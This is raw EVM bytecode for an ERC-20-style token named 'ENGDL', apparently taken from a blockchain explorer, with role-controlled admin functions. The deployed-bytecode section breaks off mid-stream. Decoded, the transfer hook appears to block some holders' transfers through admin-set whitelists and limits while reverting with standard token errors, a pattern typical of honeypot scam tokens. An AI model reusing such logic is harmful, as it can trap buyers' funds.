0015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610beb565b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610c4f82610c09565b810181811067ffffffffffffffff82111715610c6e57610c6d610c19565b5b80604052505050565b5f610c80610bf0565b9050610c8c8282610c46565b919050565b5f67ffffffffffffffff821115610cab57610caa610c19565b5b610cb482610c09565b9050602081019050919050565b8281835e5f83830152505050565b5f610ce1610cdc84610c91565b610c77565b905082815260208101848484011115610cfd57610cfc610c05565b5b610d08848285610cc1565b509392505050565b5f82601f830112610d2457610d23610c01565b5b8151610d34848260208601610ccf565b91505092915050565b5f819050919050565b610d4f81610d3d565b8114610d59575f80fd5b50565b5f81519050610d6a81610d46565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610d9982610d70565b9050919050565b610da981610d8f565b8114610db3575f80fd5b50565b5f81519050610dc481610da0565b92915050565b5f805f8060808587031215610de257610de1610bf9565b5b5f85015167ffffffffffffffff811115610dff57610dfe610bfd565b5b610e0b87828801610d10565b945050602085015167ffffffffffffffff811115610e2c57610e2b610bfd565b5b610e3887828801610d10565b9350506040610e4987828801610d5c565b9250506060610e5a87828801610db6565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610eb457607f821691505b602082108103610ec757610ec6610e70565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610f297fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610eee565b610f338683610eee565b95508019841693508086168417925050509392505050565b5f819050919050565b5f610f6e610f69610f6484610d3d565b610f4b565b610d3d565b9050919050565b5f819050919050565b610f8783610f54565b610f9b610f9382610f75565b848454610efa565b825550505050565b5f90565b610faf610fa3565b610fba818484610f7e565b505050565b5b81811015610fdd57610fd25f82610fa7565b600181019050610fc0565b5050565b601f82111561102257610ff381610ecd565b610ffc84610edf565b8101602085101561100b578190505b61101f61101785610edf565b830182610fbf565b50505b505050565b5f82821c905092915050565b5f6110425f1984600802611027565b1980831691505092915050565b5f61105a8383611033565b9150826002028217905092915050565b61107382610e66565b67ffffffffffffffff81111561108c5761108b610c19565b5b6110968254610e9d565b6110a1828285610fe1565b5f60209050601f8311600181146110d2575f84156110c0578287015190505b6110ca858261104f565b865550611131565b601f1984166110e086610ecd565b5f5b82811015611107578489015182556001820191506020850194506020810190506110e2565b868310156111245784890151611120601f891682611033565b8355505b6001600288020188555050505b505050505050565b5f6020828403121561114e5761114d610bf9565b5b5f61115b84828501610db6565b91505092915050565b61116d81610d8f565b82525050565b5f6040820190506111865f830185611164565b6111936020830184611164565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561121c578086048111156111f8576111f761119a565b5b60018516156112075780820291505b8081029050611215856111c7565b94506111dc565b94509492505050565b5f8261123457600190506112ef565b81611241575f90506112ef565b8160018114611257576002811461126157611290565b60019150506112ef565b60ff8411156112735761127261119a565b5b8360020a91508482111561128a5761128961119a565b5b506112ef565b5060208310610133831016604e8410600b84101617156112c55782820a9050838111156112c0576112bf61119a565b5b6112ef565b6112d284848460016111d3565b925090508184048111156112e9576112e861119a565b5b81810290505b9392505050565b5f60ff82169050919050565b5f61130c82610d3d565b9150611317836112f6565b92506113447fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611225565b905092915050565b5f61135682610d3d565b915061136183610d3d565b925082820261136f81610d3d565b915082820484148315176113865761138561119a565b5b5092915050565b5f6020820190506113a05f830184611164565b92915050565b5f6113b082610d3d565b91506113bb83610d3d565b92508282019050808211156113d3576113d261119a565b5b92915050565b6113e281610d3d565b82525050565b5f6060820190506113fb5f830186611164565b61140860208301856113d9565b61141560408301846113d9565b949350505050565b5f6020820190506114305f8301846113d9565b92915050565b612b14806114435f395ff3fe608060405234801561000f575f80fd5b506004361061018c575f3560e01c80636fa960a5116100dc57806391d1485411610095578063b0ce17d41161006f578063b0ce17d4146104ce578063d547741f146104ea578063dd62ed3e14610506578063e7eb09f1146105365761018c565b806391d148541461045057806395d89b4114610480578063a9059cbb1461049e5761018c565b80636fa960a51461036a57806370a082311461039a57806375b238fc146103ca5780637a8ec268146103e857806384cef5011461040457806389594f1d146104205761018c565b8063248a9ca31161014957806336568abe1161012357806336568abe146102e45780635de250ab146103005780635e99f0aa146103305780636a08ac451461034e5761018c565b8063248a9ca31461027a5780632f2ff15d146102aa578063313ce567146102c65761018c565b806301ffc9a71461019057806306fdde03146101c0578063095ea7b3146101de578063105948351461020e57806318160ddd1461022c57806323b872dd1461024a575b5f80fd5b6101aa60048036038101906101a59190611f11565b610552565b6040516101b79190611f56565b60405180910390f35b6101c86105cb565b6040516101d59190611fdf565b60405180910390f35b6101f860048036038101906101f3919061208c565b61065b565b6040516102059190611f56565b60405180910390f35b61021661067d565b60405161022391906120e2565b60405180910390f35b6102346106a1565b604051610241919061210a565b60405180910390f35b610264600480360381019061025f9190612123565b6106aa565b6040516102719190611f56565b60405180910390f35b610294600480360381019061028f919061219d565b6106d8565b6040516102a191906120e2565b60405180910390f35b6102c460048036038101906102bf91906121c8565b6106f5565b005b6102ce610717565b6040516102db9190612221565b60405180910390f35b6102fe60048036038101906102f991906121c8565b61071f565b005b61031a6004803603810190610315919061223a565b61079a565b6040516103279190611f56565b60405180910390f35b61033861083e565b604051610345919061210a565b60405180910390f35b610368600480360381019061036391906123b6565b610844565b005b610384600480360381019061037f9190612422565b6108e4565b604051610391919061210a565b60405180910390f35b6103b460048036038101906103af9190612422565b61097b565b6040516103c1919061210a565b60405180910390f35b6103d26109c1565b6040516103df91906120e2565b60405180910390f35b61040260048036038101906103fd91906121c8565b6109c7565b005b61041e6004803603810190610419919061244d565b610a35565b005b61043a60048036038101906104359190612422565b610a57565b604051610447919061210a565b60405180910390f35b61046a600480360381019061046591906121c8565b610aed565b6040516104779190611f56565b60405180910390f35b610488610b51565b6040516104959190611fdf565b60405180910390f35b6104b860048036038101906104b3919061208c565b610be1565b6040516104c59190611f56565b60405180910390f35b6104e860048036038101906104e391906121c8565b610c03565b005b61050460048036038101906104ff91906121c8565b610c72565b005b610520600480360381019061051b919061248b565b610c94565b60405161052d919061210a565b60405180910390f35b610550600480360381019061054b919061258d565b610d16565b005b5f7f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806105c457506105c382610e78565b5b9050919050565b6060600880546105da90612626565b80601f016020809104026020016040519081016040528092919081815260200182805461060690612626565b80156106515780601f1061062857610100808354040283529160200191610651565b820191905f5260205f20905b81548152906001019060200180831161063457829003601f168201915b5050505050905090565b5f80610665610ee1565b9050610672818585610ee8565b600191505092915050565b7f53414c415549000000000000000000000000000000000000000000000000000081565b5f600754905090565b5f806106b4610ee1565b90506106c1858285610efa565b6106cc858585610f8c565b60019150509392505050565b5f60045f8381526020019081526020015f20600101549050919050565b6106fe826106d8565b6107078161107c565b6107118383611090565b50505050565b5f6012905090565b610727610ee1565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461078b576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b610795828261117a565b505050565b5f805f1b6107a78161107c565b5f801b8503610832578373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b81526004016107eb929190612665565b6020604051808303815f875af1158015610807573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082b91906126b6565b9150610836565b5f91505b509392505050565b60035481565b5f801b6108508161107c565b5f8061085b84611264565b80925081935050505f1515811515036108a0576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f82106108dc577f53414c415549000000000000000000000000000000000000000000000000000086036108db576108da85836001611375565b5b5b505050505050565b5f670de0b6b3a764000060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610974919061273b565b9050919050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f801b81565b5f801b6109d38161107c565b5f801b8303610a30575f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b505050565b5f801b610a418161107c565b5f801b8303610a5257816003819055505b505050565b5f670de0b6b3a764000060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ae6919061273b565b9050919050565b5f60045f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060098054610b6090612626565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8c90612626565b8015610bd75780601f10610bae57610100808354040283529160200191610bd7565b820191905f5260205f20905b815481529060010190602001808311610bba57829003601f168201915b5050505050905090565b5f80610beb610ee1565b9050610bf8818585610f8c565b600191505092915050565b5f801b610c0f8161107c565b5f801b8303610c6d5760015f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b505050565b610c7b826106d8565b610c848161107c565b610c8e838361117a565b50505050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f801b610d228161107c565b5f8490505f8173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d70573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d949190612795565b60ff1690505f5b85518160ff161015610e6f575f82600a610db591906128ef565b86610dc09190612939565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb888460ff1681518110610df457610df361297a565b5b6020026020010151836040518363ffffffff1660e01b8152600401610e1a929190612665565b6020604051808303815f875af1158015610e36573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e5a91906126b6565b50508080610e67906129a7565b915050610d9b565b50505050505050565b5f7f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b5f33905090565b610ef58383836001611497565b505050565b5f610f058484610c94565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f865781811015610f77578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610f6e939291906129cf565b60405180910390fd5b610f8584848484035f611497565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ffc575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610ff39190612a04565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361106c575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016110639190612a04565b60405180910390fd5b611077838383611670565b505050565b61108d81611088610ee1565b611897565b50565b5f61109b8383610aed565b61117057600160045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061110d610ee1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a460019050611174565b5f90505b92915050565b5f6111858383610aed565b1561125a575f60045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506111f7610ee1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a46001905061125e565b5f90505b92915050565b5f805f5b8351811015611367575f60308583815181106112875761128661297a565b5b602001015160f81c60f81b60f81c61129f9190612a1d565b60ff1610806112dd5750600960308583815181106112c0576112bf61297a565b5b602001015160f81c60f81b60f81c6112d89190612a1d565b60ff16115b156112ee575f809250925050611370565b60018185516112fd9190612a51565b6113079190612a51565b600a61131391906128ef565b60308583815181106113285761132761297a565b5b602001015160f81c60f81b60f81c6113409190612a1d565b60ff1661134d9190612939565b836113589190612a84565b92508080600101915050611268565b50816001915091505b915091565b801561141257670de0b6b3a76400008261138f9190612939565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611492565b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611507575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016114fe9190612a04565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611577575f6040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161156e9190612a04565b60405180910390fd5b61158184846118e8565b8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561166a578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051611661919061210a565b60405180910390a35b50505050565b61167b838383611959565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116cb578060075f8282546116bf9190612a84565b9250508190555061179b565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611755578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161174c939291906129cf565b60405180910390fd5b81810360055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117e2578060075f828254039250508190555061182d565b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161188a919061210a565b60405180910390a3505050565b6118a18282610aed565b6118e45780826040517fe2517d3f0000000000000000000000000000000000000000000000000000000081526004016118db929190612ab7565b60405180910390fd5b5050565b6118f1826119cc565b61195557600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361195457611952826119ee565b505b5b5050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119bc576119b78282611a8e565b6119c7565b6119c68382611b6e565b5b505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611a855760506003541115611a8457816040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611a7b9190612a04565b60405180910390fd5b5b60019050919050565b5f811115611b6a57611a9f826119cc565b15611b69575f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611b2657505f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b6857816040517fec442f05000000000000000000000000000000000000000000000000000000008152600401611b5f9190612a04565b60405180910390fd5b5b5b5050565b611b7a5f801b83610aed565b611c7c575f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611c7b575f6003541115611c7a575f811115611c79575f81611be884611c80565b611bf29190612a84565b90505f611bfe84611d04565b1115611c77575f811115611c7657611c1583611d04565b8111158015611c2357505f82115b15611c3857611c3383825f611d87565b611c75565b826040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611c6c9190612a04565b60405180910390fd5b5b5b505b5b5b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b8015611e2557670de0b6b3a764000082611da19190612939565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ea6565b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f604051905090565b5f80fd5b5f80fd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b611ef081611ebc565b8114611efa575f80fd5b50565b5f81359050611f0b81611ee7565b92915050565b5f60208284031215611f2657611f25611eb4565b5b5f611f3384828501611efd565b91505092915050565b5f8115159050919050565b611f5081611f3c565b82525050565b5f602082019050611f695f830184611f47565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611fb182611f6f565b611fbb8185611f79565b9350611fcb818560208601611f89565b611fd481611f97565b840191505092915050565b5f6020820190508181035f830152611ff78184611fa7565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61202882611fff565b9050919050565b6120388161201e565b8114612042575f80fd5b50565b5f813590506120538161202f565b92915050565b5f819050919050565b61206b81612059565b8114612075575f80fd5b50565b5f8135905061208681612062565b92915050565b5f80604083850312156120a2576120a1611eb4565b5b5f6120af85828601612045565b92505060206120c085828601612078565b9150509250929050565b5f819050919050565b6120dc816120ca565b82525050565b5f6020820190506120f55f8301846120d3565b92915050565b61210481612059565b82525050565b5f60208201905061211d5f8301846120fb565b92915050565b5f805f6060848603121561213a57612139611eb4565b5b5f61214786828701612045565b935050602061215886828701612045565b925050604061216986828701612078565b9150509250925092565b61217c816120ca565b8114612186575f80fd5b50565b5f8135905061219781612173565b92915050565b5f602082840312156121b2576121b1611eb4565b5b5f6121bf84828501612189565b91505092915050565b5f80604083850312156121de576121dd611eb4565b5b5f6121eb85828601612189565b92505060206121fc85828601612045565b9150509250929050565b5f60ff82169050919050565b61221b81612206565b82525050565b5f6020820190506122345f830184612212565b92915050565b5f805f6060848603121561225157612250611eb4565b5b5f61225e86828701612189565b935050602061226f86828701612045565b925050604061228086828701612078565b9150509250925092565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6122c882611f97565b810181811067ffffffffffffffff821117156122e7576122e6612292565b5b80604052505050565b5f6122f9611eab565b905061230582826122bf565b919050565b5f67ffffffffffffffff82111561232457612323612292565b5b61232d82611f97565b9050602081019050919050565b828183375f83830152505050565b5f61235a6123558461230a565b6122f0565b9050828152602081018484840111156123765761237561228e565b5b61238184828561233a565b509392505050565b5f82601f83011261239d5761239c61228a565b5b81356123ad848260208601612348565b91505092915050565b5f805f606084860312156123cd576123cc611eb4565b5b5f6123da86828701612189565b93505060206123eb86828701612045565b925050604084013567ffffffffffffffff81111561240c5761240b611eb8565b5b61241886828701612389565b9150509250925092565b5f6020828403121561243757612436611eb4565b5b5f61244484828501612045565b91505092915050565b5f806040838503121561246357612462611eb4565b5b5f61247085828601612189565b925050602061248185828601612078565b9150509250929050565b5f80604083850312156124a1576124a0611eb4565b5b5f6124ae85828601612045565b92505060206124bf85828601612045565b9150509250929050565b5f67ffffffffffffffff8211156124e3576124e2612292565b5b602082029050602081019050919050565b5f80fd5b5f61250a612505846124c9565b6122f0565b9050808382526020820190506020840283018581111561252d5761252c6124f4565b5b835b8181101561255657806125428882612045565b84526020840193505060208101905061252f565b5050509392505050565b5f82601f8301126125745761257361228a565b5b81356125848482602086016124f8565b91505092915050565b5f805f606084860312156125a4576125a3611eb4565b5b5f6125b186828701612045565b935050602084013567ffffffffffffffff8111156125d2576125d1611eb8565b5b6125de86828701612560565b92505060406125ef86828701612078565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061263d57607f821691505b6020821081036126505761264f6125f9565b5b50919050565b61265f8161201e565b82525050565b5f6040820190506126785f830185612656565b61268560208301846120fb565b9392505050565b61269581611f3c565b811461269f575f80fd5b50565b5f815190506126b08161268c565b92915050565b5f602082840312156126cb576126ca611eb4565b5b5f6126d8848285016126a2565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61274582612059565b915061275083612059565b9250826127605761275f6126e1565b5b828204905092915050565b61277481612206565b811461277e575f80fd5b50565b5f8151905061278f8161276b565b92915050565b5f602082840312156127aa576127a9611eb4565b5b5f6127b784828501612781565b91505092915050565b5f8160011c9050919050565b5f808291508390505b6001851115612815578086048111156127f1576127f061270e565b5b60018516156128005780820291505b808102905061280e856127c0565b94506127d5565b94509492505050565b5f8261282d57600190506128e8565b8161283a575f90506128e8565b8160018114612850576002811461285a57612889565b60019150506128e8565b60ff84111561286c5761286b61270e565b5b8360020a9150848211156128835761288261270e565b5b506128e8565b5060208310610133831016604e8410600b84101617156128be5782820a9050838111156128b9576128b861270e565b5b6128e8565b6128cb84848460016127cc565b925090508184048111156128e2576128e161270e565b5b81810290505b9392505050565b5f6128f982612059565b915061290483612059565b92506129317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281e565b905092915050565b5f61294382612059565b915061294e83612059565b925082820261295c81612059565b915082820484148315176129735761297261270e565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6129b182612206565b915060ff82036129c4576129c361270e565b5b600182019050919050565b5f6060820190506129e25f830186612656565b6129ef60208301856120fb565b6129fc60408301846120fb565b949350505050565b5f602082019050612a175f830184612656565b92915050565b5f612a2782612206565b9150612a3283612206565b9250828203905060ff811115612a4b57612a4a61270e565b5b92915050565b5f612a5b82612059565b9150612a6683612059565b9250828203905081811115612a7e57612a7d61270e565b5b92915050565b5f612a8e82612059565b9150612a9983612059565b9250828201905080821115612ab157612ab061270e565b5b92915050565b5f604082019050612aca5f830185612656565b612ad760208301846120d3565b939250505056fea2646970667358221220af47f667e6171f13713c3f1759840f0fe59772bcdc4e060cf4bed446872b3aaf64736f6c634300081a0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000f2866497c61fe2e3731f8338d1daad1359042db80000000000000000000000000000000000000000000000000000000000000005454e47444c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005454e47444c000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061018c575f3560e01c80636fa960a5116100dc57806391d1485411610095578063b0ce17d41161006f578063b0ce17d4146104ce578063d547741f146104ea578063dd62ed3e14610506578063e7eb09f1146105365761018c565b806391d148541461045057806395d89b4114610480578063a9059cbb1461049e5761018c565b80636fa960a51461036a57806370a082311461039a57806375b238fc146103ca5780637a8ec268146103e857806384cef5011461040457806389594f1d146104205761018c565b8063248a9ca31161014957806336568abe1161012357806336568abe146102e45780635de250ab146103005780635e99f0aa146103305780636a08ac451461034e5761018c565b8063248a9ca31461027a5780632f2ff15d146102aa578063313ce567146102c65761018c565b806301ffc9a71461019057806306fdde03146101c0578063095ea7b3146101de578063105948351461020e57806318160ddd1461022c57806323b872dd1461024a575b5f80fd5b6101aa60048036038101906101a59190611f11565b610552565b6040516101b79190611f56565b60405180910390f35b6101c86105cb565b6040516101d59190611fdf565b60405180910390f35b6101f860048036038101906101f3919061208c565b61065b565b6040516102059190611f56565b60405180910390f35b61021661067d565b60405161022391906120e2565b60405180910390f35b6102346106a1565b604051610241919061210a565b60405180910390f35b610264600480360381019061025f9190612123565b6106aa565b6040516102719190611f56565b60405180910390f35b610294600480360381019061028f919061219d565b6106d8565b6040516102a191906120e2565b60405180910390f35b6102c460048036038101906102bf91906121c8565b6106f5565b005b6102ce610717565b6040516102db9190612221565b60405180910390f35b6102fe60048036038101906102f991906121c8565b61071f565b005b61031a6004803603810190610315919061223a565b61079a565b6040516103279190611f56565b60405180910390f35b61033861083e565b604051610345919061210a565b60405180910390f35b610368600480360381019061036391906123b6565b610844565b005b610384600480360381019061037f9190612422565b6108e4565b604051610391919061210a565b60405180910390f35b6103b460048036038101906103af9190612422565b61097b565b6040516103c1919061210a565b60405180910390f35b6103d26109c1565b6040516103df91906120e2565b60405180910390f35b61040260048036038101906103fd91906121c8565b6109c7565b005b61041e6004803603810190610419919061244d565b610a35565b005b61043a60048036038101906104359190612422565b610a57565b604051610447919061210a565b60405180910390f35b61046a600480360381019061046591906121c8565b610aed565b6040516104779190611f56565b60405180910390f35b610488610b51565b6040516104959190611fdf565b60405180910390f35b6104b860048036038101906104b3919061208c565b610be1565b6040516104c59190611f56565b60405180910390f35b6104e860048036038101906104e391906121c8565b610c03565b005b61050460048036038101906104ff91906121c8565b610c72565b005b610520600480360381019061051b919061248b565b610c94565b60405161052d919061210a565b60405180910390f35b610550600480360381019061054b919061258d565b610d16565b005b5f7f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806105c457506105c382610e78565b5b9050919050565b6060600880546105da90612626565b80601f016020809104026020016040519081016040528092919081815260200182805461060690612626565b80156106515780601f1061062857610100808354040283529160200191610651565b820191905f5260205f20905b81548152906001019060200180831161063457829003601f168201915b5050505050905090565b5f80610665610ee1565b9050610672818585610ee8565b600191505092915050565b7f53414c415549000000000000000000000000000000000000000000000000000081565b5f600754905090565b5f806106b4610ee1565b90506106c1858285610efa565b6106cc858585610f8c565b60019150509392505050565b5f60045f8381526020019081526020015f20600101549050919050565b6106fe826106d8565b6107078161107c565b6107118383611090565b50505050565b5f6012905090565b610727610ee1565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461078b576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b610795828261117a565b505050565b5f805f1b6107a78161107c565b5f801b8503610832578373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b81526004016107eb929190612665565b6020604051808303815f875af1158015610807573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082b91906126b6565b9150610836565b5f91505b509392505050565b60035481565b5f801b6108508161107c565b5f8061085b84611264565b80925081935050505f1515811515036108a0576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f82106108dc577f53414c415549000000000000000000000000000000000000000000000000000086036108db576108da85836001611375565b5b5b505050505050565b5f670de0b6b3a764000060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610974919061273b565b9050919050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f801b81565b5f801b6109d38161107c565b5f801b8303610a30575f805f8473f